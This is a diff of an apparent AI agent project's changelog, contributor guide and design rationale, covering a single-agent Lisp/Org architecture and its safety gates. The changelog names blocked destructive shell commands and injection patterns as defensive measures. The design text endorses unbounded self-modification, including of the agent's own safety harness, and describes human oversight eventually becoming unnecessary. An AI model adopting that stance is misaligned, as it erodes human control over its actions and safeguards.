||||
* v0.2.1 — Rename, Safety, and Deployment (2026-05-02)
|
||||
This release renames the project to Passepartout, adds content-level safety gates, professionalizes deployment, and documents every function with full explanatory prose.
|
||||
|
||||
** Project Rename
|
||||
- **Passepartout:** Project renamed from OpenCortex to Passepartout. All files, packages, functions, and environment variables updated.
|
||||
- **Org/lisp split:** Source of truth lives in ~org/~, tangled to ~lisp/~. Core files committed, skills generated at configure time.
|
||||
- **31 org files:** Every file renamed to ~category-subject.org~ convention. Harness and skills unified under one directory.
|
||||
|
||||
** Safety
|
||||
- **Secret Exposure Gate:** Content scanning for API keys, PEM blocks, PGP keys, credentials, and tokens in all outgoing text.
|
||||
- **Path Protection:** File reads blocked for ~.env~, SSH keys, PEM/PGP, cloud configs, and credential stores.
|
||||
- **Shell Safety:** Destructive commands (~rm -rf /~, ~dd~, ~mkfs~, ~shred~) and injection patterns (backtick, ~$()~) blocked with timeout and output limits.
|
||||
- **Lisp Validation Gate:** Writes to ~.lisp~ and ~.org~ files validated for syntax errors before they reach disk.
|
||||
- **REPL Verification Lint:** Warns if defuns are written without REPL prototyping.
|
||||
|
||||
** Deployment
|
||||
- **Multi-distro:** Automatic detection of Debian vs Fedora, correct package names and managers.
|
||||
- **systemd service:** User-level auto-start on boot via ~passepartout install service~.
|
||||
- **Backup/Restore:** ~passepartout backup~ and ~passepartout restore~ commands.
|
||||
- **Docker:** Updated to ~debian:trixie-slim~, fixed build context.
|
||||
- **CI/CD:** GitHub Actions workflows for lint, test, and release. Gitea deploy workflow fixed.
|
||||
|
||||
** Engineering Process
|
||||
- **REPL-first Lifecycle:** Two-track workflow: Org-first for prose and tests, REPL-first for implementation. Every function prototyped in the REPL before reaching Org.
|
||||
- **Verification Loop:** Bouncer rejects bad lisp; rejection trace feeds back to LLM for self-correction.
|
||||
- **System-prompt-augment:** Skills can inject domain-specific mandates into the LLM prompt via ~:system-prompt-augment~.
|
||||
|
||||
** Documentation
|
||||
- **Literate Prose Restored:** Every Org file now has an Architectural Intent overview and explanatory prose before each function block, following the style established in the v0.1.0 era.
|
||||
- **AGENTS.md:** Thinned to a routing layer — the skill org files are authoritative.
|
||||
|
||||
** Contributors
|
||||
- **gitignore:** ~skills/*.lisp~ and ~tests/*.lisp~ as generated artifacts (source of truth is ~.org~).
|
||||
- **DeepSeek and NVIDIA NIM:** Added as LLM providers (OpenAI-compatible). Use ~DEEPSEEK_API_KEY~ and ~NVIDIA_API_KEY~ env vars.
|
||||
|
||||
* v0.2.0 - Interactive Refinement (2026-04-29)
|
||||
This release focuses on professionalizing the environment and enhancing the agent's structural capabilities.
|
||||
|
||||
** Features
|
||||
- **Enhanced Lisp/Org Utilities:** Structural editing, REPL evaluation, and automated formatting to ensure code integrity.
|
||||
- **Namespace Standardization:** Refactored utilities into =utils-org= and =utils-lisp= for predictable discovery.
|
||||
- **Autonomous Mandates:** Implemented =GEMINI.md= for local agentic enforcement of engineering standards.
|
||||
- **Onboarding Wizard:** Modular Lisp setup for multiple LLM providers.
|
||||
- **Professional TUI:** Styled, scrollable interface with improved diagnostics.
|
||||
|
||||
* v0.1.0 - The Autonomous Foundation (2026-04-20)
|
||||
This is the initial MVP release of the ~passepartout~. It establishes a secure, auditable Lisp kernel for a personal operating system.
|
||||
|
||||
** Features
|
||||
- **Unified Envelope Architecture:** Actuator-agnostic protocol that decouples routing metadata from cognitive payloads, ensuring all clients (TUI, Emacs, CLI, Matrix) are treated as equal citizens.
|
||||
- **Metabolic Pipeline:** Robust Perceive-Reason-Act loop with selective memory rollbacks and graceful shutdown handling.
|
||||
- **Verification Lock:** Mandatory skill enforcement via environment configuration. System halts if security policies or bouncers fail to load.
|
||||
- **Foveal-Peripheral Context:** High-resolution focus on active tasks with low-resolution skeletal awareness of the rest of the Memex.
|
||||
- **The Bouncer:** Last-mile deterministic security gate with Deep Packet Inspection for secrets and network exfiltration.
|
||||
- **Autonomous Scribe:** Background distillation worker that turns daily journal entries into evergreen Zettelkasten notes. Verified to distill atomic concepts autonomously.
|
||||
- **Autonomous Gardener:** Heartbeat-driven worker that repairs broken links and identifies orphaned nodes in the Memex graph.
|
||||
- **Unified Onboarding:** Single-command installation (~passepartout.sh~) with Docker support, OS detection, and automated dependency resolution.
|
||||
- **Channel-Aware TUI:** Interactive Croatoan-based terminal client with clean, human-readable formatting for tool results and system logs.
|
||||
- **CLI Gateway:** Local TCP socket server for pipe-friendly interaction and frictionless first contact.
|
||||
|
||||
** Licensing & Community
|
||||
- **AGPLv3 License:** Passepartout is now officially licensed under the GNU Affero General Public License v3.0.
|
||||
- **Contributor License Agreement:** Implemented a broad CLA (~CLA.org~) for long-term project sustainability.
|
||||
|
||||
** Architectural Shift
|
||||
- Transitioned to **Literate Granularity**: Every function and invariant is now formally documented in its own Org block.
|
||||
- **Provider Agnosticism:** Implemented a dynamic LLM cascade (OpenRouter, Ollama, etc.) removing all hardcoded backend dependencies.
|
||||
- **Thin Harness Philosophy:** Decoupled the kernel from specific editors or third-party gateways.
|
||||
@@ -6,6 +6,23 @@
|
||||
* Philosophy
|
||||
Passepartout is built on a "Zero-Bloat" mandate. The core kernel is mathematically pure, pushing all peripheral logic, API integrations, and routing to hot-reloadable "Skills".
|
||||
|
||||
* TDD Discipline (Red-Green-Refactor)
|
||||
|
||||
All code changes MUST follow this cycle:
|
||||
|
||||
1. *Write a failing test* — capture the desired behavior as a FiveAM test
|
||||
in a =* Test Suite= section within the relevant =.org= file
|
||||
2. *Prove it fails* — run =sbcl --eval "(asdf:test-system :passepartout)"=
|
||||
and confirm the new test fails (RED) before writing implementation
|
||||
3. *Write the code* — modify the implementation in the same =.org= file
|
||||
4. *Prove it passes* — run the test suite again, confirm GREEN
|
||||
5. *Reflect* — ensure the test and code are both in the =.org= literate source
|
||||
|
||||
For *existing code* that lacks tests: write a characterization test that
|
||||
captures current behavior as the spec. Then refactor.
|
||||
|
||||
No test may be committed without proof it was first run to failure.
|
||||
|
||||
* Literate Granularity
|
||||
We strictly adhere to Literate Programming using Org-mode.
|
||||
- *Never* edit `.lisp` files in `src/` directly.
|
||||
@@ -37,8 +54,9 @@ All inter-process communication occurs via the Unified Envelope. Do not use lega
|
||||
- Ensure generated `:REQUEST` messages include a mandatory `:TARGET` field.
|
||||
|
||||
* Pull Request Process
|
||||
1. Ensure your working tree is clean.
|
||||
2. Write tests for your skill in `tests/`.
|
||||
3. Tangle all files.
|
||||
4. Run the test suite: `sbcl --eval "(asdf:test-system :passepartout)"`.
|
||||
5. Submit a PR outlining the architectural intent and the specific Literate changes.
|
||||
1. Choose an Org file and write a failing test in its =* Test Suite= section.
|
||||
2. Tangle and run to confirm RED (the test fails).
|
||||
3. Write the implementation in the same Org file, tangle, run to confirm GREEN.
|
||||
4. Ensure your working tree is clean.
|
||||
5. Run the full test suite: =sbcl --eval "(asdf:test-system :passepartout)"=.
|
||||
6. Submit a PR outlining the architectural intent and the specific Literate changes.
|
||||
@@ -2,20 +2,32 @@
|
||||
|
||||
This document captures the rationale behind key architectural choices. It is not a specification - it is a thinking medium for future architects and contributors who need to understand why the system is built this way, not just how.
|
||||
|
||||
* Multi-Agent by Default is a Smell
|
||||
** Non-Negotiable Identity
|
||||
- Pure Common Lisp + Org-mode. No JSON. No YAML. No external databases.
|
||||
- Single-address-space memory (Lisp hash tables in RAM — the agent IS the memory).
|
||||
- "Thin harness, fat skills" — complexity lives at the edges, not the kernel.
|
||||
- One agent composed of many skills. Concurrency via bordeaux-threads (shared memory).
|
||||
- Plists everywhere — homoiconic communication between all components.
|
||||
|
||||
This is the foundational decision from which all other decisions derive. It is not negotiable. Every architectural choice below exists because this identity makes it possible — and in some cases, makes it the only viable path. The single memory space enables Merkle-tree integrity without serialization boundaries. Plists enable the cognitive pipeline to be transparent and inspectable at every stage. Org-mode as the universal format means the agent's memory, the user's notes, and the agent's own source code are the same structure. This identity is the constraint that produces the architecture.
|
||||
|
||||
* Design
|
||||
|
||||
** One single agent
|
||||
:PROPERTIES:
|
||||
:ID: design-multi-agent-default
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The AI industry has developed an intuition toward multi-agent systems as the default solution to hard problems. Multiple agents spawn, delegate, coordinate, debate, and consensus their way toward solutions. This pattern is compelling in demos and genuinely useful in specific contexts - but it has become a default assumption that warrants scrutiny.
|
||||
|
||||
When context windows grew expensive and task complexity increased, the response was natural: split the problem across agents, each handling a slice. But this architectural choice carries hidden costs that are rarely acknowledged in the enthusiasm of implementation.
|
||||
|
||||
**The synchronization tax** is the most immediate burden. Each agent operates with partial information, and maintaining coherence requires continuous state reconciliation. Tokens and processing cycles are spent not on the task itself, but on protocol overhead - who holds what, who decided what, who is correct when they disagree.
|
||||
*The synchronization tax* is the most immediate burden. Each agent operates with partial information, and maintaining coherence requires continuous state reconciliation. Tokens and processing cycles are spent not on the task itself, but on protocol overhead - who holds what, who decided what, who is correct when they disagree.
|
||||
|
||||
**Fragmented context** is the deeper problem. When Agent A writes a function and Agent B modifies a type it depends on, neither has the full picture. Integration failures emerge not from individual incompetence but from systemic communication gaps. Single-agent systems avoid this entirely: one brain holds the complete model, every decision is made with full visibility.
|
||||
*Fragmented context* is the deeper problem. When Agent A writes a function and Agent B modifies a type it depends on, neither has the full picture. Integration failures emerge not from individual incompetence but from systemic communication gaps. Single-agent systems avoid this entirely: one brain holds the complete model, every decision is made with full visibility.
|
||||
|
||||
**Audit trails become complex** in multi-agent systems. A decision traced through a single-agent system has a clean, linear history. A decision traced through a multi-agent system branches and forks, with each agent's reasoning partially overlapping and partially conflicting.
|
||||
*Audit trails become complex* in multi-agent systems. A decision traced through a single-agent system has a clean, linear history. A decision traced through a multi-agent system branches and forks, with each agent's reasoning partially overlapping and partially conflicting.
|
||||
|
||||
None of this is to say multi-agent systems are never appropriate. Embarrassingly parallel workloads - scanning ten thousand files, processing batch jobs - benefit from parallelism regardless of context. When distinct expertises are required and cannot coexist in one model, delegation makes sense. In adversarial scenarios where conflicting goals are features, multi-agent architectures shine.
|
||||
|
||||
@@ -23,90 +35,30 @@ But the default assumption that complex reasoning tasks are best solved by multi
|
||||
|
||||
Passepartout is single-agent by default not from limitation but from conviction: for reasoning-heavy work where coherence matters, a unified memory space and single decision-making locus are architectural assets, not constraints.
|
||||
|
||||
* The Unified Memory Argument
|
||||
** The Unified Memory Argument
|
||||
:PROPERTIES:
|
||||
:ID: design-unified-memory
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
If single-agent architecture is the decision, unified memory becomes the mechanism that makes it viable. The critical question is not "how many agents" but "how does the agent manage context without saturating."
|
||||
|
||||
Context window limits are largely a symptom of lazy architecture. The default approach - stuff everything in, hope the model figures it out - works poorly at scale. A more principled approach inverts the problem: the system should hold effectively infinite context, with the active window kept lean through intelligent management.
|
||||
|
||||
**Lazy loading** is the core technique. When an agent needs information about a function, it does not load the entire codebase. It loads precisely what the function does. Context stays lean - 2,000 to 4,000 tokens - while the full context remains accessible through retrieval.
|
||||
*Lazy loading* is the core technique. When an agent needs information about a function, it does not load the entire codebase. It loads precisely what the function does. Context stays lean - 2,000 to 4,000 tokens - while the full context remains accessible through retrieval.
|
||||
|
||||
**Compaction events** are scheduled during idle cycles. The system extracts new facts from active context and writes them to permanent storage. Active context is wiped clean, not because space ran out, but because the information has been preserved in a form that can be retrieved when relevant.
|
||||
*Compaction events* are scheduled during idle cycles. The system extracts new facts from active context and writes them to permanent storage. Active context is wiped clean, not because space ran out, but because the information has been preserved in a form that can be retrieved when relevant.
|
||||
|
||||
**Org-mode as externalized memory** solves the persistence problem elegantly. Every decision, every note, every task lives in plain text files the user already owns. The agent does not maintain a separate database. It queries files it can already access, modifies files it already owns.
|
||||
*Org-mode as externalized memory* solves the persistence problem elegantly. Every decision, every note, every task lives in plain text files the user already owns. The agent does not maintain a separate database. It queries files it can already access, modifies files it already owns.
|
||||
|
||||
**Retrieval is the key primitive.** Semantic search across Org files finds relevant nodes. The agent does not hold the full context - it holds pointers to context, loaded on demand. This is how a single agent handles tasks that would saturate a naive multi-megabyte context window.
|
||||
*Retrieval is the key primitive.* Semantic search across Org files finds relevant nodes. The agent does not hold the full context - it holds pointers to context, loaded on demand. This is how a single agent handles tasks that would saturate a naive multi-megabyte context window.
|
||||
|
||||
The unified memory argument is not that infinite context is free. It is that with proper architecture, effective infinite context is achievable without the synchronization and fragmentation costs of multi-agent systems.
|
||||
|
||||
* The Probabilistic-Deterministic Split
|
||||
:PROPERTIES:
|
||||
:ID: design-probabilistic-deterministic
|
||||
:END:
|
||||
|
||||
The architecture divides cognition into two fundamentally different reasoning systems. This is not arbitrary engineering but a structural response to a fundamental truth: probabilistic systems will hallucinate, and you cannot build reliable autonomy on an unreliable foundation.
|
||||
|
||||
An LLM is a statistical engine. It generates outputs based on patterns in training data. It is remarkable at translation, generation, pattern matching, and fuzzy reasoning. It can take messy human intent and produce structured queries. It can take structured results and produce natural language. It is, in the terminology of the system, the creative brain.
|
||||
|
||||
But it cannot be trusted. Not because it is poorly designed or insufficiently trained, but because hallucination is a fundamental property of probabilistic inference. The model generates the most likely continuation, not the correct one. Given sufficient context, the most likely continuation is correct. Given novel context, it is often wrong in confident-sounding ways.
|
||||
|
||||
The deterministic engine addresses this by being what the probabilistic engine is not: mathematically rigorous, formally verifiable, and incapable of hallucination by design. It operates on explicit symbolic representations - lists, property lists, knowledge graphs - not on floating-point activations. When it evaluates a path confinement check, it returns true or false, not a probability distribution.
|
||||
|
||||
The division of labor is architectural. The LLM handles the fuzzy interface between human language and structured representation. It translates what the user wants into what the system can reason about. The deterministic engine receives those structured representations and evaluates them against formal invariants. It decides whether to execute, not whether the translation was semantically plausible.
|
||||
|
||||
This separation is the source of Passepartout's safety guarantee. Other agents add "guardrails" as an afterthought - a layer of filtering around a dangerous core. Passepartout makes the division explicit: the LLM never touches the file system, never executes a command, never modifies memory. It generates proposals. The deterministic engine evaluates and executes. The dangerous operations are never in the probabilistic path.
|
||||
|
||||
The split also explains why the system gets safer over time without the LLM improving. The deterministic engine accumulates rules. The LLM proposes actions, the engine evaluates them against a growing rule set. Early versions block obvious dangers. Later versions block sophisticated attacks that were previously unknown. The safety grows logarithmically with the number of interactions, not linearly with model capability.
|
||||
|
||||
* Homoiconicity as Foundation
|
||||
:PROPERTIES:
|
||||
:ID: design-homoiconicity
|
||||
:END:
|
||||
|
||||
Common Lisp is homoiconic: code and data share the same representation. A Lisp program is a list, and a list is a Lisp program. This is usually presented as a curiosity, an interesting property that enables macros. In Passepartout, it is the foundational enabling property of the entire self-modification architecture.
|
||||
|
||||
When code is data, the agent can read its own source the same way it reads a text file or an Org buffer. There is no AST parser required, no external tool to extract the function object from the running image. The agent evaluates (read-from-string source) and the result is executable Lisp. The representation it manipulates is the same representation that the runtime executes.
|
||||
|
||||
This is not true of most languages. In Python, the agent can inspect an AST through the ast module, but that AST is a foreign object - a data structure that represents code but is not code itself. The agent can see that a function takes certain arguments and returns a certain type, but it cannot treat the AST as a live object it can modify and re-evaluate. In C, the agent cannot inspect its own compiled machine code at all.
|
||||
|
||||
In Lisp, the distinction between code and data is a convention, not a barrier. The agent's skills are lists. The agent can take a skill, extract a function definition, modify the body, wrap it in a new list, and evaluate it. The modification is surgical: it changes exactly what it intends to change, with no risk of corrupting adjacent state, because the representation is a tree that the runtime understands natively.
|
||||
|
||||
Runtime introspection is therefore native. The agent does not need a debugger API or a reflection protocol. It operates on its own code as data because its own code is data. (describe 'function-name) returns the function's documentation. (function-lambda-list 'function-name) returns its parameters. (macroexpand-1 '(defskill ...)) shows what the macro produces. There is no impedance mismatch between the agent's reasoning and the system's representation.
|
||||
|
||||
Self-modification is the practical consequence. The agent can detect an error, locate the erroneous function, generate a corrected version, and hot-reload it into the running image. The correction is not applied to a file that requires a restart - it is applied to the live object that the system is currently executing. This is what makes the self-editing skill viable: the agent can fix itself without stopping.
|
||||
|
||||
In v3.0.0, when the symbolic engine takes over the reasoning core, homoiconicity becomes the bridge between the neural and symbolic layers. The neural engine generates proposals as s-expressions. The symbolic engine evaluates them against formal constraints. The result is a modification that is simultaneously a data structure the symbolic engine can analyze and code the runtime can execute. The two representations are identical by construction.
|
||||
|
||||
This is the technical meaning of "Lisp as Governor": not just that Lisp orchestrates the other components, but that the representation of the system is uniform and inspectable at every level. There is no hidden state, no opaque machine code, no representation that the agent cannot reach into and modify. The system is legible to itself by design.
|
||||
|
||||
**Self-Modification Without Boundaries**
|
||||
|
||||
Other systems that support self-editing draw a line between the core and the skills. Hermes can modify its skills at runtime, but the core harness is protected - editing it requires a restart because the core is treated as privileged code that cannot be safely modified while running.
|
||||
|
||||
Passepartout has no such boundary. The "thin harness, fat skills" distinction describes where complexity lives, not where authority flows. The harness is small by design, but it is not privileged. The agent can read and write any part of the system - including the very code that is currently executing - without restarting.
|
||||
|
||||
This is only possible because Lisp code is mutable data at runtime. In a compiled language, the machine code for a running function is locked in memory, protected by the call stack, impossible to modify safely. In Lisp, the function object is a list you can modify with =setf=. When the agent changes a harness function, the running image immediately reflects the change. The next invocation uses the new code. There is no restart, no special boot mode, no distinction between development and production.
|
||||
|
||||
The implications extend beyond convenience. A system that cannot modify its own core is a system that has limits on its own adaptability. It can learn skills but not improve its own structure. It can grow but not evolve. Passepartout's lack of a core boundary means the system can improve its own reasoning engine, fix bugs in its own cognition, and evolve its own architecture - all while continuing to operate.
|
||||
|
||||
This is the final expression of homoiconicity: not just that code is readable as data, or that skills are modifiable, but that the entire system - including the parts that other systems protect - is open to modification. There is no ceiling on self-improvement. The agent can rewrite the very code that rewrites itself.
|
||||
|
||||
**Lisp and the AI Dream**
|
||||
|
||||
Lisp was invented in 1958 by John McCarthy with artificial intelligence explicitly in mind. Its design - code as data, runtime mutation, symbols and lists as first-class constructs - was shaped by the belief that a truly intelligent machine would need to reason about and modify its own reasoning. For decades, Lisp machines were the closest thing to thinking machines that existed.
|
||||
|
||||
Then the AI winter came. Symbolic AI fell out of favor. Statistical learning and neural networks dominated. Lisp was relegated to niche applications and academic curiosity. The machine that was designed for AI was never used for the task it was designed for.
|
||||
|
||||
Six decades later, neural networks have arrived at the problem from a different direction. They can learn and generalize, but they hallucinate, cannot explain their reasoning, and cannot safely modify themselves. The neuro-symbolic synthesis - combining neural pattern recognition with symbolic reasoning - is recognized as the path toward AI that is both powerful and trustworthy.
|
||||
|
||||
Lisp's time may finally have come. Not as a replacement for neural networks, but as the governor that makes them safe - the symbolic engine that verifies what the neural engine proposes, the homoiconic substrate that allows the system to inspect, modify, and improve its own reasoning. The machine that was designed for AI in 1958 may be the exact machine needed for AI in 2026 and beyond.
|
||||
|
||||
* Org-Mode as Unified AST
|
||||
** Org-Mode as Unified AST
|
||||
:PROPERTIES:
|
||||
:ID: design-org-unified-ast
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
Passepartout makes a bet that most systems consider too expensive to place: that humans and machines should share the same file format. That bet is Org-mode.
|
||||
@@ -137,114 +89,84 @@ The unified format is what makes the memory architecture work. The agent's memor
|
||||
|
||||
This is what "sovereignty" means in technical terms: the user owns the data in a format they can access, and the agent operates on the data in the same format they own.
|
||||
|
||||
* Literate Programming as Discipline
|
||||
** Homoiconicity as Foundation
|
||||
:PROPERTIES:
|
||||
:ID: design-literate-programming
|
||||
:ID: design-homoiconicity
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The decision to use Org-mode as the source of truth for code, not just documentation, is not a ceremonial preference. It is a constraint mechanism that enforces better engineering habits at the cost of convenience.
|
||||
Common Lisp is homoiconic: code and data share the same representation. A Lisp program is a list, and a list is a Lisp program. This is usually presented as a curiosity, an interesting property that enables macros. In Passepartout, it is the foundational enabling property of the entire self-modification architecture.
|
||||
|
||||
The traditional development workflow is: write code, write comments, commit. The literate programming workflow is: write prose, write code, commit the Org. The order matters. The prose must come first not because of style guidelines but because the act of explaining what a function does before writing it forces clarity of thought that editing code directly does not.
|
||||
When code is data, the agent can read its own source the same way it reads a text file or an Org buffer. There is no AST parser required, no external tool to extract the function object from the running image. The agent evaluates (read-from-string source) and the result is executable Lisp. The representation it manipulates is the same representation that the runtime executes.
|
||||
|
||||
When you must write a paragraph describing what a function does before you write the function, you discover the cases you have not considered. You find the edge conditions that are ambiguous. You realize that the function's name does not match its behavior, or that its behavior does not match your intent. The friction is not a bug - it is the mechanism by which thinking is enforced.
|
||||
This is not true of most languages. In Python, the agent can inspect an AST through the ast module, but that AST is a foreign object - a data structure that represents code but is not code itself. The agent can see that a function takes certain arguments and returns a certain type, but it cannot treat the AST as a live object it can modify and re-evaluate. In C, the agent cannot inspect its own compiled machine code at all.
|
||||
|
||||
The one-function-per-block rule enforces granularity. A function that cannot be explained in a paragraph is a function that is doing too much. The block boundary is not aesthetic - it is architectural. It prevents the drift toward monolithic functions that accumulate responsibilities over time and become untestable, unmaintainable, and incomprehensible.
|
||||
In Lisp, the distinction between code and data is a convention, not a barrier. The agent's skills are lists. The agent can take a skill, extract a function definition, modify the body, wrap it in a new list, and evaluate it. The modification is surgical: it changes exactly what it intends to change, with no risk of corrupting adjacent state, because the representation is a tree that the runtime understands natively.
|
||||
|
||||
The tangle step enforces source-of-truth discipline. The .lisp file is generated from the Org file. This means the Org file cannot drift from the implementation. If the implementation changes, the Org must be updated to match. If the Org describes behavior that the implementation does not perform, the tangle produces code that does not match the Org description. Either way, inconsistency is visible and recoverable.
|
||||
Runtime introspection is therefore native. The agent does not need a debugger API or a reflection protocol. It operates on its own code as data because its own code is data. (describe 'function-name) returns the function's documentation. (function-lambda-list 'function-name) returns its parameters. (macroexpand-1 '(defskill ...)) shows what the macro produces. There is no impedance mismatch between the agent's reasoning and the system's representation.
|
||||
|
||||
The evaluation gate enforces correctness. Every block can be evaluated independently in a running Lisp image. This means syntax errors are caught at authorship time, not at integration time. The function that compiles in isolation but fails in context is the function whose context dependencies were never made explicit. The evaluation gate forces those dependencies to surface.
|
||||
Self-modification is the practical consequence. The agent can detect an error, locate the erroneous function, generate a corrected version, and hot-reload it into the running image. The correction is not applied to a file that requires a restart - it is applied to the live object that the system is currently executing. This is what makes the self-editing skill viable: the agent can fix itself without stopping.
|
||||
|
||||
Together, these constraints create a development experience that is slower in the small and faster in the large. Writing a new function takes longer because you must explain it. But debugging, maintaining, and extending the codebase is faster because every function has a human-readable explanation of its intent, every function is testable in isolation, and every function's source is always synchronized with its documentation.
|
||||
In v3.0.0, when the symbolic engine takes over the reasoning core, homoiconicity becomes the bridge between the neural and symbolic layers. The neural engine generates proposals as s-expressions. The symbolic engine evaluates them against formal constraints. The result is a modification that is simultaneously a data structure the symbolic engine can analyze and code the runtime can execute. The two representations are identical by construction.
|
||||
|
||||
The literate programming discipline is not about producing documentation. It is about producing code whose correctness has been verified by the act of explaining it.
|
||||
This is the technical meaning of "Lisp as Governor": not just that Lisp orchestrates the other components, but that the representation of the system is uniform and inspectable at every level. There is no hidden state, no opaque machine code, no representation that the agent cannot reach into and modify. The system is legible to itself by design.
|
||||
|
||||
* The Bouncer as Learning System
|
||||
*Self-Modification Without Boundaries*
|
||||
|
||||
Other systems that support self-editing draw a line between the core and the skills. Hermes can modify its skills at runtime, but the core harness is protected - editing it requires a restart because the core is treated as privileged code that cannot be safely modified while running.
|
||||
|
||||
Passepartout has no such boundary. The "thin harness, fat skills" distinction describes where complexity lives, not where authority flows. The harness is small by design, but it is not privileged. The agent can read and write any part of the system - including the very code that is currently executing - without restarting.
|
||||
|
||||
This is only possible because Lisp code is mutable data at runtime. In a compiled language, the machine code for a running function is locked in memory, protected by the call stack, impossible to modify safely. In Lisp, the function object is a list you can modify with =setf=. When the agent changes a harness function, the running image immediately reflects the change. The next invocation uses the new code. There is no restart, no special boot mode, no distinction between development and production.
|
||||
|
||||
The implications extend beyond convenience. A system that cannot modify its own core is a system that has limits on its own adaptability. It can learn skills but not improve its own structure. It can grow but not evolve. Passepartout's lack of a core boundary means the system can improve its own reasoning engine, fix bugs in its own cognition, and evolve its own architecture - all while continuing to operate.
|
||||
|
||||
This is the final expression of homoiconicity: not just that code is readable as data, or that skills are modifiable, but that the entire system - including the parts that other systems protect - is open to modification. There is no ceiling on self-improvement. The agent can rewrite the very code that rewrites itself.
|
||||
|
||||
** The Probabilistic-Deterministic Split
|
||||
:PROPERTIES:
|
||||
:ID: design-probabilistic-deterministic
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The architecture divides cognition into two fundamentally different reasoning systems. This is not arbitrary engineering but a structural response to a fundamental truth: probabilistic systems will hallucinate, and you cannot build reliable autonomy on an unreliable foundation.
|
||||
|
||||
An LLM is a statistical engine. It generates outputs based on patterns in training data. It is remarkable at translation, generation, pattern matching, and fuzzy reasoning. It can take messy human intent and produce structured queries. It can take structured results and produce natural language. It is, in the terminology of the system, the creative brain.
|
||||
|
||||
But it cannot be trusted. Not because it is poorly designed or insufficiently trained, but because hallucination is a fundamental property of probabilistic inference. The model generates the most likely continuation, not the correct one. Given sufficient context, the most likely continuation is correct. Given novel context, it is often wrong in confident-sounding ways.
|
||||
|
||||
The deterministic engine addresses this by being what the probabilistic engine is not: mathematically rigorous, formally verifiable, and incapable of hallucination by design. It operates on explicit symbolic representations - lists, property lists, knowledge graphs - not on floating-point activations. When it evaluates a path confinement check, it returns true or false, not a probability distribution.
|
||||
|
||||
The division of labor is architectural. The LLM handles the fuzzy interface between human language and structured representation. It translates what the user wants into what the system can reason about. The deterministic engine receives those structured representations and evaluates them against formal invariants. It decides whether to execute, not whether the translation was semantically plausible.
|
||||
|
||||
This separation is the source of Passepartout's safety guarantee. Other agents add "guardrails" as an afterthought - a layer of filtering around a dangerous core. Passepartout makes the division explicit: the LLM never touches the file system, never executes a command, never modifies memory. It generates proposals. The deterministic engine evaluates and executes. The dangerous operations are never in the probabilistic path.
|
||||
|
||||
The split also explains why the system gets safer over time without the LLM improving. The deterministic engine accumulates rules. The LLM proposes actions, the engine evaluates them against a growing rule set. Early versions block obvious dangers. Later versions block sophisticated attacks that were previously unknown. The safety grows logarithmically with the number of interactions, not linearly with model capability.
|
||||
|
||||
** The Dispatcher as Learning System
|
||||
:PROPERTIES:
|
||||
:ID: design-bouncer-learning
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The Bouncer begins as a static guard - a set of rules that block obviously dangerous actions. But defining "obviously" is the hard problem. The agent encounters situations the rules do not anticipate. The Bouncer must grow.
|
||||
The Dispatcher begins as a static guard - a set of rules that block obviously dangerous actions. But defining "obviously" is the hard problem. The agent encounters situations the rules do not anticipate. The Dispatcher must grow.
|
||||
|
||||
The human-in-the-loop exception is the seed. When the LLM proposes an action the Bouncer does not recognize, the system does not default to blocking or allowing. It suspends. It writes the proposed action to an Org buffer in a format the human can read and understand. The human reviews and approves or denies. The Bouncer observes the decision.
|
||||
The human-in-the-loop exception is the seed. When the LLM proposes an action the Dispatcher does not recognize, the system does not default to blocking or allowing. It suspends. It writes the proposed action to an Org buffer in a format the human can read and understand. The human reviews and approves or denies. The Dispatcher observes the decision.
|
||||
|
||||
From this single observation, the Bouncer extracts a rule. Not merely "allow this specific action" but "allow this class of actions parameterized by these dimensions." The human approved a write to ~/projects/myapp/src/core.clj. The Bouncer generalizes: writes to ~/projects/*/src/*.lisp are approved for this session, or for this project, or indefinitely depending on the context and the user's pattern of decisions.
|
||||
From this single observation, the Dispatcher extracts a rule. Not merely "allow this specific action" but "allow this class of actions parameterized by these dimensions." The human approved a write to ~/projects/myapp/src/core.clj. The Dispatcher generalizes: writes to ~/projects/*/src/*.lisp are approved for this session, or for this project, or indefinitely depending on the context and the user's pattern of decisions.
|
||||
|
||||
Shadow mode is where rules are tested before deployment. When the Bouncer encounters a novel situation and is uncertain, it can run the proposed action in a simulated environment. It observes the side effects - what files would be modified, what processes would be spawned, what network calls would be made. If the simulation produces dangerous side effects, the rule is discarded. If it appears safe, the rule is added to the active set with a confidence rating.
|
||||
Shadow mode is where rules are tested before deployment. When the Dispatcher encounters a novel situation and is uncertain, it can run the proposed action in a simulated environment. It observes the side effects - what files would be modified, what processes would be spawned, what network calls would be made. If the simulation produces dangerous side effects, the rule is discarded. If it appears safe, the rule is added to the active set with a confidence rating.
|
||||
|
||||
Formal verification is where the learned rules are checked against invariants. The Bouncer's rules are not merely patterns observed from human behavior. They are formulas in a logic that the system can reason about. A rule that would enable path traversal is not discarded because it was observed to be safe in prior instances - it is discarded because it violates the path-confinement invariant by construction.
|
||||
Formal verification is where the learned rules are checked against invariants. The Dispatcher's rules are not merely patterns observed from human behavior. They are formulas in a logic that the system can reason about. A rule that would enable path traversal is not discarded because it was observed to be safe in prior instances - it is discarded because it violates the path-confinement invariant by construction.
|
||||
|
||||
The Bouncer becomes, over time, not a guard that blocks bad actions but a reasoning system that understands why actions are good or bad. Early versions learn from human decisions. Later versions learn from their own logical analysis. The human's role transitions from approver to auditor to, eventually, unnecessary oversight.
|
||||
The Dispatcher becomes, over time, not a guard that blocks bad actions but a reasoning system that understands why actions are good or bad. Early versions learn from human decisions. Later versions learn from their own logical analysis. The human's role transitions from approver to auditor to, eventually, unnecessary oversight.
|
||||
|
||||
This is the bootstrap. The system begins dependent on human judgment because it has no basis for judgment of its own. Through accumulated decisions, it constructs a model of what is permitted and why. That model is the foundation for the deterministic symbolic engine that in v3.0.0 takes over the reasoning that the Bouncer learned to perform.
|
||||
This is the bootstrap. The system begins dependent on human judgment because it has no basis for judgment of its own. Through accumulated decisions, it constructs a model of what is permitted and why. That model is the foundation for the deterministic symbolic engine that in v3.0.0 takes over the reasoning that the Dispatcher learned to perform.
|
||||
|
||||
* Passepartout as a Function in Time
|
||||
:PROPERTIES:
|
